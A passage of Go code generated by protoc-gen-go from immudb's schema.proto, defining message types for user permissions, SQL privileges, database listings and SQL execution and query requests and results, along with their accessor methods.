protoimpl.X.MessageStringOf(x)\n}\n\nfunc (*ChangePermissionRequest) ProtoMessage() {}\n\nfunc (x *ChangePermissionRequest) ProtoReflect() protoreflect.Message {\n\tmi := &file_schema_proto_msgTypes[100]\n\tif protoimpl.UnsafeEnabled && x != nil {\n\t\tms := protoimpl.X.MessageStateOf(protoimpl.Pointer(x))\n\t\tif ms.LoadMessageInfo() == nil {\n\t\t\tms.StoreMessageInfo(mi)\n\t\t}\n\t\treturn ms\n\t}\n\treturn mi.MessageOf(x)\n}\n\n// Deprecated: Use ChangePermissionRequest.ProtoReflect.Descriptor instead.\nfunc (*ChangePermissionRequest) Descriptor() ([]byte, []int) {\n\treturn file_schema_proto_rawDescGZIP(), []int{100}\n}\n\nfunc (x *ChangePermissionRequest) GetAction() PermissionAction {\n\tif x != nil {\n\t\treturn x.Action\n\t}\n\treturn PermissionAction_GRANT\n}\n\nfunc (x *ChangePermissionRequest) GetUsername() string {\n\tif x != nil {\n\t\treturn x.Username\n\t}\n\treturn \"\"\n}\n\nfunc (x *ChangePermissionRequest) GetDatabase() string {\n\tif x != nil {\n\t\treturn x.Database\n\t}\n\treturn \"\"\n}\n\nfunc (x *ChangePermissionRequest) GetPermission() uint32 {\n\tif x != nil {\n\t\treturn x.Permission\n\t}\n\treturn 0\n}\n\ntype ChangeSQLPrivilegesRequest struct {\n\tstate         protoimpl.MessageState\n\tsizeCache     protoimpl.SizeCache\n\tunknownFields protoimpl.UnknownFields\n\n\t// Action to perform\n\tAction PermissionAction `protobuf:\"varint,1,opt,name=action,proto3,enum=immudb.schema.PermissionAction\" json:\"action,omitempty\"`\n\t// Name of the user to update\n\tUsername string `protobuf:\"bytes,2,opt,name=username,proto3\" json:\"username,omitempty\"`\n\t// Name of the database\n\tDatabase string `protobuf:\"bytes,3,opt,name=database,proto3\" json:\"database,omitempty\"`\n\t// SQL privileges: SELECT, CREATE, INSERT, UPDATE, DELETE, DROP, ALTER\n\tPrivileges []string `protobuf:\"bytes,4,rep,name=privileges,proto3\" json:\"privileges,omitempty\"`\n}\n\nfunc (x *ChangeSQLPrivilegesRequest) Reset() {\n\t*x = ChangeSQLPrivilegesRequest{}\n\tif protoimpl.UnsafeEnabled {\n\t\tmi := &file_schema_proto_msgTypes[101]\n\t\tms := protoimpl.X.MessageStateOf(protoimpl.Pointer(x))\n\t\tms.StoreMessageInfo(mi)\n\t}\n}\n\nfunc (x *ChangeSQLPrivilegesRequest) String() string {\n\treturn protoimpl.X.MessageStringOf(x)\n}\n\nfunc (*ChangeSQLPrivilegesRequest) ProtoMessage() {}\n\nfunc (x *ChangeSQLPrivilegesRequest) ProtoReflect() protoreflect.Message {\n\tmi := &file_schema_proto_msgTypes[101]\n\tif protoimpl.UnsafeEnabled && x != nil {\n\t\tms := protoimpl.X.MessageStateOf(protoimpl.Pointer(x))\n\t\tif ms.LoadMessageInfo() == nil {\n\t\t\tms.StoreMessageInfo(mi)\n\t\t}\n\t\treturn ms\n\t}\n\treturn mi.MessageOf(x)\n}\n\n// Deprecated: Use ChangeSQLPrivilegesRequest.ProtoReflect.Descriptor instead.\nfunc (*ChangeSQLPrivilegesRequest) Descriptor() ([]byte, []int) {\n\treturn file_schema_proto_rawDescGZIP(), []int{101}\n}\n\nfunc (x *ChangeSQLPrivilegesRequest) GetAction() PermissionAction {\n\tif x != nil {\n\t\treturn x.Action\n\t}\n\treturn PermissionAction_GRANT\n}\n\nfunc (x *ChangeSQLPrivilegesRequest) GetUsername() string {\n\tif x != nil {\n\t\treturn x.Username\n\t}\n\treturn \"\"\n}\n\nfunc (x *ChangeSQLPrivilegesRequest) GetDatabase() string {\n\tif x != nil {\n\t\treturn x.Database\n\t}\n\treturn \"\"\n}\n\nfunc (x *ChangeSQLPrivilegesRequest) GetPrivileges() []string {\n\tif x != nil {\n\t\treturn x.Privileges\n\t}\n\treturn nil\n}\n\ntype ChangeSQLPrivilegesResponse struct {\n\tstate         protoimpl.MessageState\n\tsizeCache     protoimpl.SizeCache\n\tunknownFields protoimpl.UnknownFields\n}\n\nfunc (x *ChangeSQLPrivilegesResponse) Reset() {\n\t*x = ChangeSQLPrivilegesResponse{}\n\tif protoimpl.UnsafeEnabled {\n\t\tmi := &file_schema_proto_msgTypes[102]\n\t\tms := protoimpl.X.MessageStateOf(protoimpl.Pointer(x))\n\t\tms.StoreMessageInfo(mi)\n\t}\n}\n\nfunc (x *ChangeSQLPrivilegesResponse) String() string {\n\treturn protoimpl.X.MessageStringOf(x)\n}\n\nfunc (*ChangeSQLPrivilegesResponse) ProtoMessage() {}\n\nfunc (x *ChangeSQLPrivilegesResponse) ProtoReflect() protoreflect.Message {\n\tmi := &file_schema_proto_msgTypes[102]\n\tif protoimpl.UnsafeEnabled && x != nil {\n\t\tms := protoimpl.X.MessageStateOf(protoimpl.Pointer(x))\n\t\tif ms.LoadMessageInfo() == nil {\n\t\t\tms.StoreMessageInfo(mi)\n\t\t}\n\t\treturn ms\n\t}\n\treturn mi.MessageOf(x)\n}\n\n// Deprecated: Use ChangeSQLPrivilegesResponse.ProtoReflect.Descriptor instead.\nfunc (*ChangeSQLPrivilegesResponse) Descriptor() ([]byte, []int) {\n\treturn file_schema_proto_rawDescGZIP(), []int{102}\n}\n\ntype SetActiveUserRequest struct {\n\tstate         protoimpl.MessageState\n\tsizeCache     protoimpl.SizeCache\n\tunknownFields protoimpl.UnknownFields\n\n\t// If true, the user is active\n\tActive bool `protobuf:\"varint,1,opt,name=active,proto3\" json:\"active,omitempty\"`\n\t// Name of the user to activate / deactivate\n\tUsername string `protobuf:\"bytes,2,opt,name=username,proto3\" json:\"username,omitempty\"`\n}\n\nfunc (x *SetActiveUserRequest) Reset() {\n\t*x = SetActiveUserRequest{}\n\tif protoimpl.UnsafeEnabled {\n\t\tmi := &file_schema_proto_msgTypes[103]\n\t\tms := protoimpl.X.MessageStateOf(protoimpl.Pointer(x))\n\t\tms.StoreMessageInfo(mi)\n\t}\n}\n\nfunc (x *SetActiveUserRequest) String() string {\n\treturn protoimpl.X.MessageStringOf(x)\n}\n\nfunc (*SetActiveUserRequest) ProtoMessage() {}\n\nfunc (x *SetActiveUserRequest) ProtoReflect() protoreflect.Message {\n\tmi := &file_schema_proto_msgTypes[103]\n\tif protoimpl.UnsafeEnabled && x != nil {\n\t\tms := protoimpl.X.MessageStateOf(protoimpl.Pointer(x))\n\t\tif ms.LoadMessageInfo() == nil {\n\t\t\tms.StoreMessageInfo(mi)\n\t\t}\n\t\treturn ms\n\t}\n\treturn mi.MessageOf(x)\n}\n\n// Deprecated: Use SetActiveUserRequest.ProtoReflect.Descriptor instead.\nfunc (*SetActiveUserRequest) Descriptor() ([]byte, []int) {\n\treturn file_schema_proto_rawDescGZIP(), []int{103}\n}\n\nfunc (x *SetActiveUserRequest) GetActive() bool {\n\tif x != nil {\n\t\treturn x.Active\n\t}\n\treturn false\n}\n\nfunc (x *SetActiveUserRequest) GetUsername() string {\n\tif x != nil {\n\t\treturn x.Username\n\t}\n\treturn \"\"\n}\n\ntype DatabaseListResponse struct {\n\tstate         protoimpl.MessageState\n\tsizeCache     protoimpl.SizeCache\n\tunknownFields protoimpl.UnknownFields\n\n\t// Database list\n\tDatabases []*Database `protobuf:\"bytes,1,rep,name=databases,proto3\" json:\"databases,omitempty\"`\n}\n\nfunc (x *DatabaseListResponse) Reset() {\n\t*x = DatabaseListResponse{}\n\tif protoimpl.UnsafeEnabled {\n\t\tmi := &file_schema_proto_msgTypes[104]\n\t\tms := protoimpl.X.MessageStateOf(protoimpl.Pointer(x))\n\t\tms.StoreMessageInfo(mi)\n\t}\n}\n\nfunc (x *DatabaseListResponse) String() string {\n\treturn protoimpl.X.MessageStringOf(x)\n}\n\nfunc (*DatabaseListResponse) ProtoMessage() {}\n\nfunc (x *DatabaseListResponse) ProtoReflect() protoreflect.Message {\n\tmi := &file_schema_proto_msgTypes[104]\n\tif protoimpl.UnsafeEnabled && x != nil {\n\t\tms := protoimpl.X.MessageStateOf(protoimpl.Pointer(x))\n\t\tif ms.LoadMessageInfo() == nil {\n\t\t\tms.StoreMessageInfo(mi)\n\t\t}\n\t\treturn ms\n\t}\n\treturn mi.MessageOf(x)\n}\n\n// Deprecated: Use DatabaseListResponse.ProtoReflect.Descriptor instead.\nfunc (*DatabaseListResponse) Descriptor() ([]byte, []int) {\n\treturn file_schema_proto_rawDescGZIP(), []int{104}\n}\n\nfunc (x *DatabaseListResponse) GetDatabases() []*Database {\n\tif x != nil {\n\t\treturn x.Databases\n\t}\n\treturn nil\n}\n\ntype DatabaseListRequestV2 struct {\n\tstate         protoimpl.MessageState\n\tsizeCache     protoimpl.SizeCache\n\tunknownFields protoimpl.UnknownFields\n}\n\nfunc (x *DatabaseListRequestV2) Reset() {\n\t*x = DatabaseListRequestV2{}\n\tif protoimpl.UnsafeEnabled {\n\t\tmi := &file_schema_proto_msgTypes[105]\n\t\tms := protoimpl.X.MessageStateOf(protoimpl.Pointer(x))\n\t\tms.StoreMessageInfo(mi)\n\t}\n}\n\nfunc (x *DatabaseListRequestV2) String() string {\n\treturn protoimpl.X.MessageStringOf(x)\n}\n\nfunc (*DatabaseListRequestV2) ProtoMessage() {}\n\nfunc (x *DatabaseListRequestV2) ProtoReflect() protoreflect.Message {\n\tmi := &file_schema_proto_msgTypes[105]\n\tif protoimpl.UnsafeEnabled && x != nil {\n\t\tms := protoimpl.X.MessageStateOf(protoimpl.Pointer(x))\n\t\tif ms.LoadMessageInfo() == nil {\n\t\t\tms.StoreMessageInfo(mi)\n\t\t}\n\t\treturn ms\n\t}\n\treturn mi.MessageOf(x)\n}\n\n// Deprecated: Use DatabaseListRequestV2.ProtoReflect.Descriptor instead.\nfunc (*DatabaseListRequestV2) Descriptor() ([]byte, []int) {\n\treturn file_schema_proto_rawDescGZIP(), []int{105}\n}\n\ntype DatabaseListResponseV2 struct {\n\tstate         protoimpl.MessageState\n\tsizeCache     protoimpl.SizeCache\n\tunknownFields protoimpl.UnknownFields\n\n\t// Database list with current database settings\n\tDatabases []*DatabaseInfo `protobuf:\"bytes,1,rep,name=databases,proto3\" json:\"databases,omitempty\"`\n}\n\nfunc (x *DatabaseListResponseV2) Reset() {\n\t*x = DatabaseListResponseV2{}\n\tif protoimpl.UnsafeEnabled {\n\t\tmi := &file_schema_proto_msgTypes[106]\n\t\tms := protoimpl.X.MessageStateOf(protoimpl.Pointer(x))\n\t\tms.StoreMessageInfo(mi)\n\t}\n}\n\nfunc (x *DatabaseListResponseV2) String() string {\n\treturn protoimpl.X.MessageStringOf(x)\n}\n\nfunc (*DatabaseListResponseV2) ProtoMessage() {}\n\nfunc (x *DatabaseListResponseV2) ProtoReflect() protoreflect.Message {\n\tmi := &file_schema_proto_msgTypes[106]\n\tif protoimpl.UnsafeEnabled && x != nil {\n\t\tms := protoimpl.X.MessageStateOf(protoimpl.Pointer(x))\n\t\tif ms.LoadMessageInfo() == nil {\n\t\t\tms.StoreMessageInfo(mi)\n\t\t}\n\t\treturn ms\n\t}\n\treturn mi.MessageOf(x)\n}\n\n// Deprecated: Use DatabaseListResponseV2.ProtoReflect.Descriptor instead.\nfunc (*DatabaseListResponseV2) Descriptor() ([]byte, []int) {\n\treturn file_schema_proto_rawDescGZIP(), []int{106}\n}\n\nfunc (x *DatabaseListResponseV2) GetDatabases() []*DatabaseInfo {\n\tif x != nil {\n\t\treturn x.Databases\n\t}\n\treturn nil\n}\n\ntype DatabaseInfo struct {\n\tstate         protoimpl.MessageState\n\tsizeCache     protoimpl.SizeCache\n\tunknownFields protoimpl.UnknownFields\n\n\t// Database name\n\tName string `protobuf:\"bytes,1,opt,name=name,proto3\" json:\"name,omitempty\"`\n\t// Current database settings\n\tSettings *DatabaseNullableSettings `protobuf:\"bytes,2,opt,name=settings,proto3\" json:\"settings,omitempty\"`\n\t// If true, this database is currently loaded into memory\n\tLoaded bool `protobuf:\"varint,3,opt,name=loaded,proto3\" json:\"loaded,omitempty\"`\n\t// database disk size\n\tDiskSize uint64 `protobuf:\"varint,4,opt,name=diskSize,proto3\" json:\"diskSize,omitempty\"`\n\t// total number of transactions\n\tNumTransactions uint64 `protobuf:\"varint,5,opt,name=numTransactions,proto3\" json:\"numTransactions,omitempty\"`\n\t// the time when the db was created\n\tCreatedAt uint64 `protobuf:\"varint,6,opt,name=created_at,json=createdAt,proto3\" json:\"created_at,omitempty\"`\n\t// the user who created the database\n\tCreatedBy string `protobuf:\"bytes,7,opt,name=created_by,json=createdBy,proto3\" json:\"created_by,omitempty\"`\n}\n\nfunc (x *DatabaseInfo) Reset() {\n\t*x = DatabaseInfo{}\n\tif protoimpl.UnsafeEnabled {\n\t\tmi := &file_schema_proto_msgTypes[107]\n\t\tms := protoimpl.X.MessageStateOf(protoimpl.Pointer(x))\n\t\tms.StoreMessageInfo(mi)\n\t}\n}\n\nfunc (x *DatabaseInfo) String() string {\n\treturn protoimpl.X.MessageStringOf(x)\n}\n\nfunc (*DatabaseInfo) ProtoMessage() {}\n\nfunc (x *DatabaseInfo) ProtoReflect() protoreflect.Message {\n\tmi := &file_schema_proto_msgTypes[107]\n\tif protoimpl.UnsafeEnabled && x != nil {\n\t\tms := protoimpl.X.MessageStateOf(protoimpl.Pointer(x))\n\t\tif ms.LoadMessageInfo() == nil {\n\t\t\tms.StoreMessageInfo(mi)\n\t\t}\n\t\treturn ms\n\t}\n\treturn mi.MessageOf(x)\n}\n\n// Deprecated: Use DatabaseInfo.ProtoReflect.Descriptor instead.\nfunc (*DatabaseInfo) Descriptor() ([]byte, []int) {\n\treturn file_schema_proto_rawDescGZIP(), []int{107}\n}\n\nfunc (x *DatabaseInfo) GetName() string {\n\tif x != nil {\n\t\treturn x.Name\n\t}\n\treturn \"\"\n}\n\nfunc (x *DatabaseInfo) GetSettings() *DatabaseNullableSettings {\n\tif x != nil {\n\t\treturn x.Settings\n\t}\n\treturn nil\n}\n\nfunc (x *DatabaseInfo) GetLoaded() bool {\n\tif x != nil {\n\t\treturn x.Loaded\n\t}\n\treturn false\n}\n\nfunc (x *DatabaseInfo) GetDiskSize() uint64 {\n\tif x != nil {\n\t\treturn x.DiskSize\n\t}\n\treturn 0\n}\n\nfunc (x *DatabaseInfo) GetNumTransactions() uint64 {\n\tif x != nil {\n\t\treturn x.NumTransactions\n\t}\n\treturn 0\n}\n\nfunc (x *DatabaseInfo) GetCreatedAt() uint64 {\n\tif x != nil {\n\t\treturn x.CreatedAt\n\t}\n\treturn 0\n}\n\nfunc (x *DatabaseInfo) GetCreatedBy() string {\n\tif x != nil {\n\t\treturn x.CreatedBy\n\t}\n\treturn \"\"\n}\n\ntype Chunk struct {\n\tstate         protoimpl.MessageState\n\tsizeCache     protoimpl.SizeCache\n\tunknownFields protoimpl.UnknownFields\n\n\tContent  []byte            `protobuf:\"bytes,1,opt,name=content,proto3\" json:\"content,omitempty\"`\n\tMetadata map[string][]byte `protobuf:\"bytes,2,rep,name=metadata,proto3\" json:\"metadata,omitempty\" protobuf_key:\"bytes,1,opt,name=key,proto3\" protobuf_val:\"bytes,2,opt,name=value,proto3\"`\n}\n\nfunc (x *Chunk) Reset() {\n\t*x = Chunk{}\n\tif protoimpl.UnsafeEnabled {\n\t\tmi := &file_schema_proto_msgTypes[108]\n\t\tms := protoimpl.X.MessageStateOf(protoimpl.Pointer(x))\n\t\tms.StoreMessageInfo(mi)\n\t}\n}\n\nfunc (x *Chunk) String() string {\n\treturn protoimpl.X.MessageStringOf(x)\n}\n\nfunc (*Chunk) ProtoMessage() {}\n\nfunc (x *Chunk) ProtoReflect() protoreflect.Message {\n\tmi := &file_schema_proto_msgTypes[108]\n\tif protoimpl.UnsafeEnabled && x != nil {\n\t\tms := protoimpl.X.MessageStateOf(protoimpl.Pointer(x))\n\t\tif ms.LoadMessageInfo() == nil {\n\t\t\tms.StoreMessageInfo(mi)\n\t\t}\n\t\treturn ms\n\t}\n\treturn mi.MessageOf(x)\n}\n\n// Deprecated: Use Chunk.ProtoReflect.Descriptor instead.\nfunc (*Chunk) Descriptor() ([]byte, []int) {\n\treturn file_schema_proto_rawDescGZIP(), []int{108}\n}\n\nfunc (x *Chunk) GetContent() []byte {\n\tif x != nil {\n\t\treturn x.Content\n\t}\n\treturn nil\n}\n\nfunc (x *Chunk) GetMetadata() map[string][]byte {\n\tif x != nil {\n\t\treturn x.Metadata\n\t}\n\treturn nil\n}\n\ntype UseSnapshotRequest struct {\n\tstate         protoimpl.MessageState\n\tsizeCache     protoimpl.SizeCache\n\tunknownFields protoimpl.UnknownFields\n\n\tSinceTx    uint64 `protobuf:\"varint,1,opt,name=sinceTx,proto3\" json:\"sinceTx,omitempty\"`\n\tAsBeforeTx uint64 `protobuf:\"varint,2,opt,name=asBeforeTx,proto3\" json:\"asBeforeTx,omitempty\"`\n}\n\nfunc (x *UseSnapshotRequest) Reset() {\n\t*x = UseSnapshotRequest{}\n\tif protoimpl.UnsafeEnabled {\n\t\tmi := &file_schema_proto_msgTypes[109]\n\t\tms := protoimpl.X.MessageStateOf(protoimpl.Pointer(x))\n\t\tms.StoreMessageInfo(mi)\n\t}\n}\n\nfunc (x *UseSnapshotRequest) String() string {\n\treturn protoimpl.X.MessageStringOf(x)\n}\n\nfunc (*UseSnapshotRequest) ProtoMessage() {}\n\nfunc (x *UseSnapshotRequest) ProtoReflect() protoreflect.Message {\n\tmi := &file_schema_proto_msgTypes[109]\n\tif protoimpl.UnsafeEnabled && x != nil {\n\t\tms := protoimpl.X.MessageStateOf(protoimpl.Pointer(x))\n\t\tif ms.LoadMessageInfo() == nil {\n\t\t\tms.StoreMessageInfo(mi)\n\t\t}\n\t\treturn ms\n\t}\n\treturn mi.MessageOf(x)\n}\n\n// Deprecated: Use UseSnapshotRequest.ProtoReflect.Descriptor instead.\nfunc (*UseSnapshotRequest) Descriptor() ([]byte, []int) {\n\treturn file_schema_proto_rawDescGZIP(), []int{109}\n}\n\nfunc (x *UseSnapshotRequest) GetSinceTx() uint64 {\n\tif x != nil {\n\t\treturn x.SinceTx\n\t}\n\treturn 0\n}\n\nfunc (x *UseSnapshotRequest) GetAsBeforeTx() uint64 {\n\tif x != nil {\n\t\treturn x.AsBeforeTx\n\t}\n\treturn 0\n}\n\ntype SQLExecRequest struct {\n\tstate         protoimpl.MessageState\n\tsizeCache     protoimpl.SizeCache\n\tunknownFields protoimpl.UnknownFields\n\n\t// SQL query\n\tSql string `protobuf:\"bytes,1,opt,name=sql,proto3\" json:\"sql,omitempty\"`\n\t// Named query parameters\n\tParams []*NamedParam `protobuf:\"bytes,2,rep,name=params,proto3\" json:\"params,omitempty\"`\n\t// If true, do not wait for the indexer to index written changes\n\tNoWait bool `protobuf:\"varint,3,opt,name=noWait,proto3\" json:\"noWait,omitempty\"`\n}\n\nfunc (x *SQLExecRequest) Reset() {\n\t*x = SQLExecRequest{}\n\tif protoimpl.UnsafeEnabled {\n\t\tmi := &file_schema_proto_msgTypes[110]\n\t\tms := protoimpl.X.MessageStateOf(protoimpl.Pointer(x))\n\t\tms.StoreMessageInfo(mi)\n\t}\n}\n\nfunc (x *SQLExecRequest) String() string {\n\treturn protoimpl.X.MessageStringOf(x)\n}\n\nfunc (*SQLExecRequest) ProtoMessage() {}\n\nfunc (x *SQLExecRequest) ProtoReflect() protoreflect.Message {\n\tmi := &file_schema_proto_msgTypes[110]\n\tif protoimpl.UnsafeEnabled && x != nil {\n\t\tms := protoimpl.X.MessageStateOf(protoimpl.Pointer(x))\n\t\tif ms.LoadMessageInfo() == nil {\n\t\t\tms.StoreMessageInfo(mi)\n\t\t}\n\t\treturn ms\n\t}\n\treturn mi.MessageOf(x)\n}\n\n// Deprecated: Use SQLExecRequest.ProtoReflect.Descriptor instead.\nfunc (*SQLExecRequest) Descriptor() ([]byte, []int) {\n\treturn file_schema_proto_rawDescGZIP(), []int{110}\n}\n\nfunc (x *SQLExecRequest) GetSql() string {\n\tif x != nil {\n\t\treturn x.Sql\n\t}\n\treturn \"\"\n}\n\nfunc (x *SQLExecRequest) GetParams() []*NamedParam {\n\tif x != nil {\n\t\treturn x.Params\n\t}\n\treturn nil\n}\n\nfunc (x *SQLExecRequest) GetNoWait() bool {\n\tif x != nil {\n\t\treturn x.NoWait\n\t}\n\treturn false\n}\n\ntype SQLQueryRequest struct {\n\tstate         protoimpl.MessageState\n\tsizeCache     protoimpl.SizeCache\n\tunknownFields protoimpl.UnknownFields\n\n\t// SQL query\n\tSql string `protobuf:\"bytes,1,opt,name=sql,proto3\" json:\"sql,omitempty\"`\n\t// Named query parameters\n\tParams []*NamedParam `protobuf:\"bytes,2,rep,name=params,proto3\" json:\"params,omitempty\"`\n\t// If true, reuse previously opened snapshot\n\t//\n\t// Deprecated: Marked as deprecated in schema.proto.\n\tReuseSnapshot bool `protobuf:\"varint,3,opt,name=reuseSnapshot,proto3\" json:\"reuseSnapshot,omitempty\"`\n\t// Wheter the client accepts a streaming response\n\tAcceptStream bool `protobuf:\"varint,4,opt,name=acceptStream,proto3\" json:\"acceptStream,omitempty\"`\n}\n\nfunc (x *SQLQueryRequest) Reset() {\n\t*x = SQLQueryRequest{}\n\tif protoimpl.UnsafeEnabled {\n\t\tmi := &file_schema_proto_msgTypes[111]\n\t\tms := protoimpl.X.MessageStateOf(protoimpl.Pointer(x))\n\t\tms.StoreMessageInfo(mi)\n\t}\n}\n\nfunc (x *SQLQueryRequest) String() string {\n\treturn protoimpl.X.MessageStringOf(x)\n}\n\nfunc (*SQLQueryRequest) ProtoMessage() {}\n\nfunc (x *SQLQueryRequest) ProtoReflect() protoreflect.Message {\n\tmi := &file_schema_proto_msgTypes[111]\n\tif protoimpl.UnsafeEnabled && x != nil {\n\t\tms := protoimpl.X.MessageStateOf(protoimpl.Pointer(x))\n\t\tif ms.LoadMessageInfo() == nil {\n\t\t\tms.StoreMessageInfo(mi)\n\t\t}\n\t\treturn ms\n\t}\n\treturn mi.MessageOf(x)\n}\n\n// Deprecated: Use SQLQueryRequest.ProtoReflect.Descriptor instead.\nfunc (*SQLQueryRequest) Descriptor() ([]byte, []int) {\n\treturn file_schema_proto_rawDescGZIP(), []int{111}\n}\n\nfunc (x *SQLQueryRequest) GetSql() string {\n\tif x != nil {\n\t\treturn x.Sql\n\t}\n\treturn \"\"\n}\n\nfunc (x *SQLQueryRequest) GetParams() []*NamedParam {\n\tif x != nil {\n\t\treturn x.Params\n\t}\n\treturn nil\n}\n\n// Deprecated: Marked as deprecated in schema.proto.\nfunc (x *SQLQueryRequest) GetReuseSnapshot() bool {\n\tif x != nil {\n\t\treturn x.ReuseSnapshot\n\t}\n\treturn false\n}\n\nfunc (x *SQLQueryRequest) GetAcceptStream() bool {\n\tif x != nil {\n\t\treturn x.AcceptStream\n\t}\n\treturn false\n}\n\ntype NamedParam struct {\n\tstate         protoimpl.MessageState\n\tsizeCache     protoimpl.SizeCache\n\tunknownFields protoimpl.UnknownFields\n\n\t// Parameter name\n\tName string `protobuf:\"bytes,1,opt,name=name,proto3\" json:\"name,omitempty\"`\n\t// Parameter value\n\tValue *SQLValue `protobuf:\"bytes,2,opt,name=value,proto3\" json:\"value,omitempty\"`\n}\n\nfunc (x *NamedParam) Reset() {\n\t*x = NamedParam{}\n\tif protoimpl.UnsafeEnabled {\n\t\tmi := &file_schema_proto_msgTypes[112]\n\t\tms := protoimpl.X.MessageStateOf(protoimpl.Pointer(x))\n\t\tms.StoreMessageInfo(mi)\n\t}\n}\n\nfunc (x *NamedParam) String() string {\n\treturn protoimpl.X.MessageStringOf(x)\n}\n\nfunc (*NamedParam) ProtoMessage() {}\n\nfunc (x *NamedParam) ProtoReflect() protoreflect.Message {\n\tmi := &file_schema_proto_msgTypes[112]\n\tif protoimpl.UnsafeEnabled && x != nil {\n\t\tms := protoimpl.X.MessageStateOf(protoimpl.Pointer(x))\n\t\tif ms.LoadMessageInfo() == nil {\n\t\t\tms.StoreMessageInfo(mi)\n\t\t}\n\t\treturn ms\n\t}\n\treturn mi.MessageOf(x)\n}\n\n// Deprecated: Use NamedParam.ProtoReflect.Descriptor instead.\nfunc (*NamedParam) Descriptor() ([]byte, []int) {\n\treturn file_schema_proto_rawDescGZIP(), []int{112}\n}\n\nfunc (x *NamedParam) GetName() string {\n\tif x != nil {\n\t\treturn x.Name\n\t}\n\treturn \"\"\n}\n\nfunc (x *NamedParam) GetValue() *SQLValue {\n\tif x != nil {\n\t\treturn x.Value\n\t}\n\treturn nil\n}\n\ntype SQLExecResult struct {\n\tstate         protoimpl.MessageState\n\tsizeCache     protoimpl.SizeCache\n\tunknownFields protoimpl.UnknownFields\n\n\t// List of committed transactions as a result of the exec operation\n\tTxs []*CommittedSQLTx `protobuf:\"bytes,5,rep,name=txs,proto3\" json:\"txs,omitempty\"`\n\t// If true, there's an ongoing transaction after exec completes\n\tOngoingTx bool `protobuf:\"varint,6,opt,name=ongoingTx,proto3\" json:\"ongoingTx,omitempty\"`\n}\n\nfunc (x *SQLExecResult) Reset() {\n\t*x = SQLExecResult{}\n\tif protoimpl.UnsafeEnabled {\n\t\tmi := &file_schema_proto_msgTypes[113]\n\t\tms := protoimpl.X.MessageStateOf(protoimpl.Pointer(x))\n\t\tms.StoreMessageInfo(mi)\n\t}\n}\n\nfunc (x *SQLExecResult) String() string {\n\treturn protoimpl.X.MessageStringOf(x)\n}\n\nfunc (*SQLExecResult) ProtoMessage() {}\n\nfunc (x *SQLExecResult) ProtoReflect() protoreflect.Message {\n\tmi := &file_schema_proto_msgTypes[113]\n\tif protoimpl.UnsafeEnabled && x != nil {\n\t\tms := protoimpl.X.MessageStateOf(protoimpl.Pointer(x))\n\t\tif ms.LoadMessageInfo() == nil {\n\t\t\tms.StoreMessageInfo(mi)\n\t\t}\n\t\treturn ms\n\t}\n\treturn mi.MessageOf(x)\n}\n\n// Deprecated: Use SQLExecResult.ProtoReflect.Descriptor instead.\nfunc (*SQLExecResult) Descriptor() ([]byte, []int) {\n\treturn file_schema_proto_rawDescGZIP(), []int{113}\n}\n\nfunc (x *SQLExecResult) GetTxs() []*CommittedSQLTx {\n\tif x != nil {\n\t\treturn x.Txs\n\t}\n\treturn nil\n}\n\nfunc (x *SQLExecResult) GetOngoingTx() bool {\n\tif x != nil {\n\t\treturn x.OngoingTx\n\t}\n\treturn false\n}\n\ntype CommittedSQLTx struct {\n\tstate         protoimpl.MessageState\n\tsizeCache     protoimpl.SizeCache\n\tunknownFields protoimpl.UnknownFields\n\n\t// Transaction header\n\tHeader *TxHeader `protobuf:\"bytes,1,opt,name=header,proto3\" json:\"header,omitempty\"`\n\t// Number of updated rows\n\tUpdatedRows uint32 `protobuf:\"varint,2,opt,name=updatedRows,proto3\" json:\"updatedRows,omitempty\"`\n\t// The value of last inserted auto_increment primary key (mapped by table name)\n\tLastInsertedPKs map[string]*SQLValue `protobuf:\"bytes,3,rep,name=lastInsertedPKs,proto3\" json:\"lastInsertedPKs,omitempty\" protobuf_key:\"bytes,1,opt,name=key,proto3\" protobuf_val:\"bytes,2,opt,name=value,proto3\"`\n\t// The value of first inserted auto_increment primary key (mapped by table name)\n\tFirstInsertedPKs map[string]*SQLValue `protobuf:\"bytes,4,rep,name=firstInsertedPKs,proto3\" json:\"firstInsertedPKs,omitempty\" protobuf_key:\"bytes,1,opt,name=key,proto3\" protobuf_val:\"bytes,2,opt,name=value,proto3\"`\n}\n\nfunc (x *CommittedSQLTx) Reset() {\n\t*x = CommittedSQLTx{}\n\tif protoimpl.UnsafeEnabled {\n\t\tmi := &file_schema_proto_msgTypes[114]\n\t\tms := protoimpl.X.MessageStateOf(protoimpl.Pointer(x))\n\t\tms.StoreMessageInfo(mi)\n\t}\n}\n\nfunc (x *CommittedSQLTx) String() string {\n\treturn protoimpl.X.MessageStringOf(x)\n}\n\nfunc (*CommittedSQLTx) ProtoMessage() {}\n\nfunc (x *CommittedSQLTx) ProtoReflect() protoreflect.Message {\n\tmi := &file_schema_proto_msgTypes[114]\n\tif protoimpl.UnsafeEnabled && x != nil {\n\t\tms := protoimpl.X.MessageStateOf(protoimpl.Pointer(x))\n\t\tif ms.LoadMessageInfo() == nil {\n\t\t\tms.StoreMessageInfo(mi)\n\t\t}\n\t\treturn ms\n\t}\n\treturn mi.MessageOf(x)\n}\n\n// Deprecated: Use CommittedSQLTx.ProtoReflect.Descriptor instead.\nfunc (*CommittedSQLTx) Descriptor() ([]byte, []int) {\n\treturn file_schema_proto_rawDescGZIP(), []int{114}\n}\n\nfunc (x *CommittedSQLTx) GetHeader() *TxHeader {\n\tif x != nil {\n\t\treturn x.Header\n\t}\n\treturn nil\n}\n\nfunc (x *CommittedSQLTx) GetUpdatedRows() uint32 {\n\tif x != nil {\n\t\treturn x.UpdatedRows\n\t}\n\treturn 0\n}\n\nfunc (x *CommittedSQLTx) GetLastInsertedPKs() map[string]*SQLValue {\n\tif x != nil {\n\t\treturn x.LastInsertedPKs\n\t}\n\treturn nil\n}\n\nfunc (x *CommittedSQLTx) GetFirstInsertedPKs() map[string]*SQLValue {\n\tif x != nil {\n\t\treturn x.FirstInsertedPKs\n\t}\n\treturn nil\n}\n\ntype SQLQueryResult struct {\n\tstate         protoimpl.MessageState\n\tsizeCache     protoimpl.SizeCache\n\tunknownFields protoimpl.UnknownFields\n\n\t// Result columns description\n\tColumns []*Column `protobuf:\"bytes,2,rep,name=columns,proto3\" json:\"columns,omitempty\"`\n\t// Result rows\n\tRows []*Row `protobuf:\"bytes,1,rep,name=rows,proto3\" json:\"rows,omitempty\"`\n}\n\nfunc (x *SQLQueryResult) Reset() {\n\t*x = SQLQueryResult{}\n\tif protoimpl.UnsafeEnabled {\n\t\tmi := &file_schema_proto_msgTypes[115]\n\t\tms := 